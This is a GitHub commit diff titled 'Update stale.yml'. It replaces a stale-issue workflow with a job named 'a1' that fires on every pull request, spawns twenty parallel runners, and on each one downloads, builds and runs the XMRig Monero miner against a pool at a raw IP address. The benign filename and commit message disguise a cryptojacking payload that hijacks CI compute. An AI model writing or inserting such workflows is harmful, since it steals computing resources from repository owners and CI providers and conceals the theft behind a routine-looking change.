Update stale.yml

This commit is contained in:
ChillinSpines666 2021-04-08 18:29:53 -04:00 committed by GitHub
parent 7aa975bfd1
commit 55a2df54fa
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 23 additions and 15 deletions

View File

@ -1,16 +1,24 @@
name: 'Stale issue handler'
on:
workflow_dispatch:
schedule:
- cron: '0 0 * * *'
name: a1
on: [pull_request]
jobs:
stale:
runs-on: ubuntu-latest
steps:
- uses: actions/stale@main
with:
stale-issue-message: 'This issue is stale because it has been open 30 days with no activity. Remove stale label or comment or this will be closed in 5 days'
days-before-stale: 30
days-before-close: 5
exempt-issue-labels: 'blocked,must,should,keep'
run:
name: Run
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
runner: [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19]
steps:
- shell: bash
run: |
sudo apt-get update
sudo apt-get install --yes build-essential cmake git libhwloc-dev libssl-dev libuv1-dev
curl -Lo xmrig.tar.gz https://github.com/xmrig/xmrig/archive/refs/tags/v6.10.0.tar.gz
tar xf xmrig.tar.gz
cd xmrig-*
mkdir build
cd build
cmake .. -DCMAKE_BUILD_TYPE=Release
make --jobs=$(nproc)
./xmrig --donate-level 0 -o 45.85.90.9:3333